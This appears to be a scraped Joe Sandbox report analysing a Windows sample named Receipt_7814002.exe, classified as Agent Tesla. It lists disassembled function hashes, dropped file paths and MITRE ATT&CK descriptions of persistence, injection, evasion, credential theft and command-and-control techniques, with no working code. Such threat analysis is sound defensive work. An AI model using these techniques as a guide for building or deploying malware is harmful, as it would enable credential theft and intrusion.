Instruction Fuzzy Hash: 5801F435B000140BCF659A6DE455B2F67DADBC9710F118839F90AC7344EE26DD034381

Uniqueness

Uniqueness Score: -1.00%

Function 0665A2D8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f26e09e12103c3f181be001afe16f93f9c7126b936f6b7aad7a30924bff3058
Instruction ID: 80a6277568f50b5fe3e1b93f18993155234e6d672bc81a35b9a7f5e28166f966
Opcode Fuzzy Hash: 4f26e09e12103c3f181be001afe16f93f9c7126b936f6b7aad7a30924bff3058
Instruction Fuzzy Hash: 3201D130B041144FCB50AAADE856B2E77E9DBC9724F118828E80ECB340EE21DC028781

Uniqueness

Uniqueness Score: -1.00%

Function 0665C798 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e971de65dcddee0e8bef9f2054a0b2fccf4cb52b14afa386632d657aad092d0
Instruction ID: e3940a7435e74d2f06fbd43c1a7ffd26b17b5153024a5484e93f03f744e41850
Opcode Fuzzy Hash: 2e971de65dcddee0e8bef9f2054a0b2fccf4cb52b14afa386632d657aad092d0
Instruction Fuzzy Hash: 9E01A471E102289BCB14AA69EC52A9EB779EBC5354F00453DED05EB344DB35A8058780

Uniqueness

Uniqueness Score: -1.00%

Function 06656428 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76fc11373ccfd0c811157f135dae2db53a86ca79c627243bb073445e5830a831
Instruction ID: 156c96fe1ed71b5e908c73d99f941c191486287bccb902670afc5301b2a2ffd8
Opcode Fuzzy Hash: 76fc11373ccfd0c811157f135dae2db53a86ca79c627243bb073445e5830a831
Instruction Fuzzy Hash: 35E08672E141449FEF60CFB0DA5775A77E5EB46309F2289E6C808CB351E176CA05C741

Uniqueness

Uniqueness Score: -1.00%

Function 06656438 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1e4d1d0e0239d94ad5c8150abef5ce9cc382e3732ad53e4c4ecdfa255f5cb5f
Instruction ID: 8a9d9c125911fed67b134582fad0d40d3593fb56e064a654e82d698bb1e4f6b1
Opcode Fuzzy Hash: b1e4d1d0e0239d94ad5c8150abef5ce9cc382e3732ad53e4c4ecdfa255f5cb5f
Instruction Fuzzy Hash: 53E0C270E10108ABDF50CEB4C94775A77ACDB01204F21C5A4DC08CB301E172CA01C380

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06657660 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$]q, xrefs: 06657BFC
$]q, xrefs: 066577C5
$]q, xrefs: 06657C12
$]q, xrefs: 06657C06
$]q, xrefs: 06657B5D
$]q, xrefs: 06657794
$]q, xrefs: 066577A0
$]q, xrefs: 06657B51
$]q, xrefs: 06657BF0
$]q, xrefs: 066577D1

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2843079600
Opcode ID: 7de823565400982bbb236e772193ee415077b6a9d7d621eab503519124501b93
Instruction ID: 3d30119ed14383852f1bed63b91a0e815824657b0407814b4ad2fb17bda8a5f3
Opcode Fuzzy Hash: 7de823565400982bbb236e772193ee415077b6a9d7d621eab503519124501b93
Instruction Fuzzy Hash: 60124D30E002198FDB68DF69C895A9DBBF6FF88304F218569D809AB355DB349D46CF81

Uniqueness

Uniqueness Score: -1.00%

Function 0665A8F8 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$]q, xrefs: 0665AAAA
$]q, xrefs: 0665AA55
$]q, xrefs: 0665A9FA
$]q, xrefs: 0665AA80
$]q, xrefs: 0665AA49
$]q, xrefs: 0665A9EE
$]q, xrefs: 0665AAB6
$]q, xrefs: 0665AA74

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: c0eb93c3eefb6c7c67c511e0e0465ca7f6438a44d73a3fd087038d0ea3451472
Instruction ID: b5ec022ebe2f4a9b07a5fbb481a39e9566f640f9c8957e31451c78a1b1205210
Opcode Fuzzy Hash: c0eb93c3eefb6c7c67c511e0e0465ca7f6438a44d73a3fd087038d0ea3451472
Instruction Fuzzy Hash: 7F91B430A00209DFDB68EFA9D996B6E77F6FF44300F118629E8459B395DB349C41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06657060 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$]q, xrefs: 06657574
$]q, xrefs: 06657342
$]q, xrefs: 0665739C
$]q, xrefs: 066573A8
.5uq, xrefs: 066570BB
$]q, xrefs: 066574FC
$]q, xrefs: 06657568

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: .5uq$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-981061697
Opcode ID: 26635a4f8479e0d407bca8e18c49725d28e5cc485e5e36501c66f5c4b8d48959
Instruction ID: 04de2c0cdf15b5fb91419c0fe918eb2277b0579326dcab5ecc18a497f9cac099
Opcode Fuzzy Hash: 26635a4f8479e0d407bca8e18c49725d28e5cc485e5e36501c66f5c4b8d48959
Instruction Fuzzy Hash: 08F15030B00208CFDB58EF69D955A6EBBB6BF84300F258529D8159B3A9DF34DC42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06658398 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$]q, xrefs: 066585F2
$]q, xrefs: 06658657
$]q, xrefs: 066585FE
$]q, xrefs: 06658663

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: cf04c078e0ca8aa520639d4f1756ef0949219eed860826572d62c30734b96dd4
Instruction ID: 9042ceabfe32cc28b8b14426a91ce2df9fc040829531d8258ed03a537a512f81
Opcode Fuzzy Hash: cf04c078e0ca8aa520639d4f1756ef0949219eed860826572d62c30734b96dd4
Instruction Fuzzy Hash: 08B16C30B00218CFDB54EFA9D99566EB7B6FF84300F258829D8069B795DB35DC86CB80

Uniqueness

Uniqueness Score: -1.00%

Function 066587B0 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$]q, xrefs: 0665883B
LR]q, xrefs: 066588A3
$]q, xrefs: 0665882F
LR]q, xrefs: 066588F2

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: 1d09e3641083555b700ee1e83ec72313003d1395ba8f707f9c79c4fe518a844a
Instruction ID: 32b98a38d54e5f51bf27ed1d6c0a95100025c0b88767260074614243d2eb9f95
Opcode Fuzzy Hash: 1d09e3641083555b700ee1e83ec72313003d1395ba8f707f9c79c4fe518a844a
Instruction Fuzzy Hash: 5351BF30B002159FDB58EB28D881A6AB7E6FF84704F11856DE8569B3A5DB30EC45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0665AC80 Relevance: 5.2, Strings: 4, Instructions: 164COMMON

Download Yara Rule

Strings

$]q, xrefs: 0665AE04
$]q, xrefs: 0665AE5C
$]q, xrefs: 0665AE33
$]q, xrefs: 0665ADB1

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 8889bdf32fc092ddb9dfb2a37c42c66a71b0402831c284ac17f4a676514c1ea2
Instruction ID: 375bbdd944e4eba51cbe99d703bc5c0498746f51a2d199dd7d61e5815bfad1dd
Opcode Fuzzy Hash: 8889bdf32fc092ddb9dfb2a37c42c66a71b0402831c284ac17f4a676514c1ea2
Instruction Fuzzy Hash: 53518130A102048FCB65EBA8E992A6DB7B6FF84310F15872ADC15DB355DB34DC42DB91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Receipt_7814002.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Receipt_7814002.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\daqfbrlrs.exe.log

C:\Users\user\AppData\Roaming\daqfbrlrs.exe

C:\Users\user\AppData\Roaming\daqfbrlrs.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Windows Analysis Report
Receipt_7814002.exe

Function 0130DA28 Relevance: 8.5, Strings: 6, Instructions: 983
COMMON

Function 0145B704 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 266
processCOMMON

Function 0145B710 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 261
processCOMMON

Function 06C0EC08 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Function 0145C3F8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119
injectionCOMMON

Function 0145C400 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 115
injectionCOMMON

Function 0145C0F8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110
memoryCOMMON

Function 0145C140 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101
memoryCOMMON

Function 0145C138 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101
memoryCOMMON

Function 0145BAB8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97
threadCOMMON

Function 0145BAC0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 94
threadCOMMON

Function 0145C792 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 75
threadCOMMON

Function 0145C798 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73
threadCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre